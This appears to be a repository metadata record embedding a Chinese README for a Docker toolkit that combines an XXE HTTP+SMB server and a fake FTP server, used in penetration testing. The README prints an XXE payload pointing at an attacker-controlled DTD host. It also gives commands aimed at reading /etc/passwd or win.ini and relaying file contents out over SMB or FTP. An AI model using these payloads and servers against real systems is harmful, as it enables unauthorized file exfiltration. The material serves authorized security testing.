{"id":39510413,"url":"https://github.com/mr-xn/xxe-toolkits-server","last_synced_at":"2026-01-18T06:01:41.613Z","repository":{"id":327851684,"uuid":"1109203041","full_name":"Mr-xn/xxe-toolkits-server","owner":"Mr-xn","description":"xxe smb/ftp server 适用于xxe的smb/ftp服务 docker一键启动 安全快捷","archived":false,"fork":false,"pushed_at":"2025-12-06T08:34:41.000Z","size":73,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-12-09T23:45:35.019Z","etag":null,"topics":["ftp-server","smb","xxe","xxe-attack","xxe-injection","xxe-payload","xxe-payloads"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Mr-xn.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-12-03T13:34:29.000Z","updated_at":"2025-12-06T08:34:45.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/Mr-xn/xxe-toolkits-server","commit_stats":null,"previous_names":["mr-xn/xxe-toolkits-server"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/Mr-xn/xxe-toolkits-server","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mr-xn%2Fxxe-toolkits-server","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mr-xn%2Fxxe-toolkits-server/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mr-xn%2Fxxe-toolkits-server/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mr-xn%2Fxxe-toolkits-server/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Mr-xn","download_url":"https://codeload.github.com/Mr-xn/xxe-toolkits-server/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mr-xn%2Fxxe-toolkits-server/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28531991,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-18T00:39:45.795Z","status":"online","status_checked_at":"2026-01-18T02:00:07.578Z","response_time":98,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ftp-server","smb","xxe","xxe-attack","xxe-injection","xxe-payload","xxe-payloads"],"created_at":"2026-01-18T06:01:40.926Z","updated_at":"2026-01-18T06:01:41.607Z","avatar_url":"https://github.com/Mr-xn.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# xxe-toolkits-server\n\n一个将 **XXE HTTP+SMB 服务器** 与 **假 FTP 服务器（路径 sniffer）** 打包在同一 Docker 镜像中的小工具集，方便在 XXE / FTP 相关的安全测试中快速搭建环境。\n\n包含两个上游项目的核心脚本：\n\n- [`cwkiller/xxe-smb-server`](https://github.com/cwkiller/xxe-smb-server) 的 `xxe-smb-server.py`\n- [`chain00x/fake-ftp-server`](https://github.com/chain00x/fake-ftp-server) 的 `1.py`（在本仓库中重命名为 `fake-ftp-server.py`）\n\n\u003e 仅用于安全测试与研究，请勿用于任何未授权环境。\n\n---\n\n## 功能概览\n\n### 1. xxe-smb-server\n\n- 内置一个 HTTP 服务器，返回用于 XXE 的 DTD payload。\n- 同时启动一个 SMB 服务器（基于 `impacket.smbserver.SimpleSMBServer`）。\n- 通过 XXE 将目标服务器的文件内容“外带”到 SMB 服务器。\n\n原始运行方式（在宿主 Python 环境中）：\n\n```bash\npython3 xxe-smb-server.py public-ip-address [web-port] [-s share-path]\n```\n\n本镜像通过环境变量映射这几个参数，见下文。\n\n---\n\n### 2. fake-ftp-server（原 1.py）\n\n- 一个简易的假 FTP 服务器，模拟 vsFTPd 3.0.3。\n- 支持处理 `USER` / `PASS` / `PWD` / `CWD` / `RETR` / `EPSV` 等常见命令。\n- 会记录所有收到的 `RETR` 路径（打印 + 可选写入日志文件），适合在一些场景中捕获/观察路径。\n- **新增**：内置 HTTP 服务器，动态生成 `data.dtd` 用于 XXE 攻击，自动配置服务器 IP、FTP 端口和目标文件路径。\n\n原始运行方式：\n\n```bash\npython3 fake-ftp-server.py \u003cport\u003e [选项]\n\n# 示例\npython3 fake-ftp-server.py 2121                           # 仅启动 FTP 服务器\npython3 fake-ftp-server.py 2121 -w 8087                   # 启动 FTP + HTTP 服务器\npython3 fake-ftp-server.py 2121 -w 8087 -f /etc/passwd    # 指定目标文件\npython3 fake-ftp-server.py 2121 -w 8087 --ip 1.2.3.4      # 指定公网 IP\npython3 fake-ftp-server.py 2121 -w 8087 -o data.log       # 保存捕获数据\n```\n\n同样通过环境变量映射到容器内参数。\n\n---\n\n## 容器暴露端口\n\n容器内部默认监听：\n\n- `XXE_SMB_WEB_PORT`（默认 `8088`）  \n  `xxe-smb-server.py` 的 HTTP 服务器，用于提供 DTD payload。\n- `445`  \n  `SimpleSMBServer` 的 SMB 端口（**TCP 445**）。\n- `FAKE_FTP_PORT`（默认 `2121`）  \n  `fake-ftp-server.py` 的 FTP 监听端口。\n- `FAKE_FTP_HTTP_PORT`（默认 `8087`）  \n  `fake-ftp-server.py` 的 HTTP 服务器端口，用于提供 `data.dtd`。\n- `FAKE_FTP_PASV_PORT`（默认 `2122`）  \n  `fake-ftp-server.py` 的 FTP 被动模式端口。Docker 环境必须使用固定端口，否则随机端口无法正确暴露。\n\n在提供的 `docker-compose.yml` 中示例映射为：\n\n```yaml\nports:\n  - \"8088:8088\"   # HTTP (xxe-smb-server)\n  - \"445:445\"     # SMB\n  - \"2121:2121\"   # fake-ftp-server\n  - \"8087:8087\"   # HTTP (fake-ftp-server DTD)\n  - \"2122:2122\"   # FTP 被动模式端口\n```\n\n\u003e 注意：宿主机的 445 端口可能已被系统或其他服务占用，必要时可以改成 `1445:445` 之类的映射。\n\n---\n\n## 环境变量\n\n容器启动时可以通过环境变量配置两套服务参数：\n\n### xxe-smb-server（HTTP + SMB）\n\n- `XXE_SMB_PUBLIC_IP`（必选，默认 `127.0.0.1`）\n\n  对外提供给 XXE payload 使用的“公网 IP”或可达 IP，即脚本输出的 payload 中 `http://\u003cpublic_ip\u003e:\u003cwebport\u003e/data.dtd` 的 IP 部分。\n\n- `XXE_SMB_WEB_PORT`（可选，默认 `8088`）\n\n  HTTP 服务器监听的端口。  \n  如果设置为 `8088`，则 payload 中使用 `http://\u003cpublic_ip\u003e:8088/data.dtd`。\n\n- `XXE_SMB_SHARE_PATH`（可选，默认 `/tmp/share`）\n\n  SMB 服务器共享的目录路径（容器内路径）。XXE 请求最终读取的文件内容会通过 SMB 访问该共享。\n\n这些变量在 `entrypoint.sh` 中会被映射到脚本调用：\n\n```bash\npython3 /app/xxe-smb-server/xxe-smb-server.py \\\n  \"${XXE_SMB_PUBLIC_IP}\" \\\n  \"${XXE_SMB_WEB_PORT}\" \\\n  -s \"${XXE_SMB_SHARE_PATH}\"\n```\n\n---\n\n### fake-ftp-server（路径 sniffer + HTTP DTD 服务器）\n\n- `XXE_FTP_PUBLIC_IP`（必选，默认 `127.0.0.1`）\n\n  假 FTP 服务器对外提供给 XXE payload 使用的\"公网 IP\"或可达 IP。\n\n- `FAKE_FTP_PORT`（必选，默认 `2121`）\n\n  假 FTP 服务器监听端口。\n\n- `FAKE_FTP_LOG_FILE`（可选，默认空）\n\n  如果设置，则所有捕获到的 `RETR` 路径会被追加写入该文件。  \n  例如 `/var/log/ftp_paths.log`。\n\n- `FAKE_FTP_HTTP_PORT`（可选，默认 `8087`）\n\n  HTTP 服务器端口，用于提供 `data.dtd` 文件供 XXE payload 调用。\n\n- `FAKE_FTP_FILE_PATH`（可选，默认 `/etc/passwd`）\n\n  XXE 攻击时要读取的目标文件路径。  \n  Linux 系统可使用 `/etc/passwd`，Windows 系统可使用 `c:/windows/win.ini`。\n\n- `FAKE_FTP_PASV_PORT`（可选，默认 `2122`）\n\n  FTP 被动模式（PASV）使用的端口。  \n  **Docker 环境强烈建议配置此项**，否则 FTP 客户端在被动模式下会尝试连接随机端口，由于 Docker 未暴露这些端口会导致连接失败。  \n  设置为空字符串 `\"\"` 可使用随机端口（仅适用于非 Docker 环境）。\n\n对应调用为：\n\n```bash\npython3 /app/fake-ftp-server/fake-ftp-server.py ${FAKE_FTP_PORT} \\\n  --ip ${XXE_FTP_PUBLIC_IP} \\\n  --http-port ${FAKE_FTP_HTTP_PORT} \\\n  --file ${FAKE_FTP_FILE_PATH} \\\n  [--output ${FAKE_FTP_LOG_FILE}] \\\n  [--pasv-port ${FAKE_FTP_PASV_PORT}]\n```\n\n---\n\n## 快速开始\n\n### 1. 使用 docker-compose（推荐）\n\n克隆本仓库：\n\n```bash\ngit clone https://github.com/Mr-xn/xxe-toolkits-server.git\ncd xxe-toolkits-server\n```\n\n编辑 `docker-compose.yml` 中的环境变量，特别是：\n\n```yaml\nXXE_SMB_PUBLIC_IP: \"你的对外IP\"\nXXE_SMB_WEB_PORT: \"8088\"\nXXE_FTP_PUBLIC_IP: \"你的对外IP\"\nFAKE_FTP_PORT: \"2121\"\nFAKE_FTP_HTTP_PORT: \"8087\"\nFAKE_FTP_PASV_PORT: \"2122\"   # FTP 被动模式端口\nFAKE_FTP_LOG_FILE: \"/var/log/ftp_paths.log\"\n```\n\n启动：\n\n```bash\ndocker-compose up -d\n```\n\n容器启动后：\n\n- 访问 HTTP（xxe-smb 生成 DTD payload 的 URL 示例）：\n\n  ```text\n  http://\u003cXXE_SMB_PUBLIC_IP\u003e:\u003cXXE_SMB_WEB_PORT\u003e/data.dtd\n  ```\n\n  注意：实际脚本中打印出的 usage/payload 会明确给出 `http://{public_ip}:{webport}/data.dtd`。\n\n- SMB 服务监听在 TCP 445 端口：\n  - 你可以从目标系统尝试访问 `\\\\\u003cXXE_SMB_PUBLIC_IP\u003e\\SHARE\\...`（场景视你的 XXE payload 而定）。\n\n- 假 FTP 服务监听在 `FAKE_FTP_PORT` 上：\n  - 使用任何 FTP 客户端连上，发出 `RETR` 等命令，观察容器日志及（可选）日志文件内容。\n\n---\n\n### 2. 直接使用已发布镜像（GitHub Packages）\n\n如果你使用的是本仓库自带的 GitHub Actions workflow，将在 push 到 `main` 或打 tag 时自动构建并推送镜像到 GHCR：\n\n```text\nghcr.io/Mr-xn/xxe-toolkits-server:latest\n```\n\n本地可直接拉取：\n\n```bash\ndocker pull ghcr.io/mr-xn/xxe-toolkits-server:latest\n```\n\n示例运行（不使用 compose）：\n\n```bash\ndocker run --rm \\\n  -e XXE_SMB_PUBLIC_IP=192.168.1.100 \\\n  -e XXE_SMB_WEB_PORT=8088 \\\n  -e XXE_SMB_SHARE_PATH=/share \\\n  -e XXE_FTP_PUBLIC_IP=192.168.1.100 \\\n  -e FAKE_FTP_PORT=2121 \\\n  -e FAKE_FTP_HTTP_PORT=8087 \\\n  -e FAKE_FTP_PASV_PORT=2122 \\\n  -e FAKE_FTP_FILE_PATH=/etc/passwd \\\n  -e FAKE_FTP_LOG_FILE=/var/log/ftp_paths.log \\\n  -p 8088:8088 \\\n  -p 445:445 \\\n  -p 2121:2121 \\\n  -p 8087:8087 \\\n  -p 2122:2122 \\\n  -v $(pwd)/share:/share \\\n  -v $(pwd)/logs:/var/log \\\n  ghcr.io/mr-xn/xxe-toolkits-server:latest\n```\n\n---\n\n## 典型 XXE 测试流程示例\n\n以下是一个基于 `xxe-smb-server` 的典型 XXE 测试流程，源于上游 README 并结合本镜像的变量：\n\n1. 启动容器后，查看容器内脚本输出的 usage，其中包括类似：\n\n   ```text\n   Usage:\n     1. 请发送如下XXE payload到目标服务器 \n     \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n     \u003c!DOCTYPE data [\n     \u003c!ENTITY % file SYSTEM \"file:///\"\u003e\n     \u003c!ENTITY % dtd SYSTEM \"http://\u003cXXE_SMB_PUBLIC_IP\u003e:\u003cXXE_SMB_WEB_PORT\u003e/data.dtd\"\u003e %dtd;\n     ]\u003e\n     \u003cdata\u003e\u0026send;\u003c/data\u003e\n     2. SMB 服务器将捕获文件内容\n   ```\n\n2. 将上述 payload 发送到存在 XXE 漏洞的目标服务。\n\n3. 目标服务在解析时，会：\n   - 通过 HTTP 请求 `http://\u003cXXE_SMB_PUBLIC_IP\u003e:\u003cXXE_SMB_WEB_PORT\u003e/data.dtd` 获取外部 DTD；\n   - 由脚本返回一个 DTD，其中的实体定义会尝试读取本地文件并通过 SMB 发回。\n\n4. 在容器日志中观察 `xxe-smb-server` 输出，以及 SMB 侧的捕获情况。\n\n---\n\n## fake-ftp-server 的使用说明\n\n`fake-ftp-server.py` 的行为大致如下：\n\n- 客户端连接后，伪装成 `vsFTPd 3.0.3`。\n- 记录所有的 `RETR` 命令路径（相对当前 `CWD`）。\n- 在连接结束后，打印所有收到的路径，并在配置了 `FAKE_FTP_LOG_FILE` 时写入文件。\n\n这对于某些“文件路径探测”或攻击链调试场景（例如 SSRF 触发 FTP 请求等）特别有用：\n\n1. 启动容器并确保 `FAKE_FTP_PORT` 端口映射到宿主机。\n2. 在目标环境中（可能是 SSRF 或其他），构造 FTP URL/命令指向你的测试机。\n3. 在容器日志和 `FAKE_FTP_LOG_FILE` 中查看被访问的路径。\n\n---\n\n## 安全与合规提示\n\n- 本项目仅用于合法授权范围内的安全测试与学习研究。\n- 在运行 SMB/FTP 等服务时，请确保你已获得目标环境和网络的明确授权。\n- 不要在生产环境或者公共网络中随意暴露这些服务，避免带来不必要的安全风险。\n\n---\n\n## 致谢\n\n本项目集成基于以下开源项目：\n\n- [xxe-smb-server](https://github.com/cwkiller/xxe-smb-server) by [@cwkiller](https://github.com/cwkiller)\n- [fake-ftp-server](https://github.com/chain00x/fake-ftp-server) by [@chain00x](https://github.com/chain00x)\n\n如有使用建议或改进想法，欢迎提 Issue / PR。\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmr-xn%2Fxxe-toolkits-server","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmr-xn%2Fxxe-toolkits-server","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmr-xn%2Fxxe-toolkits-server/lists"}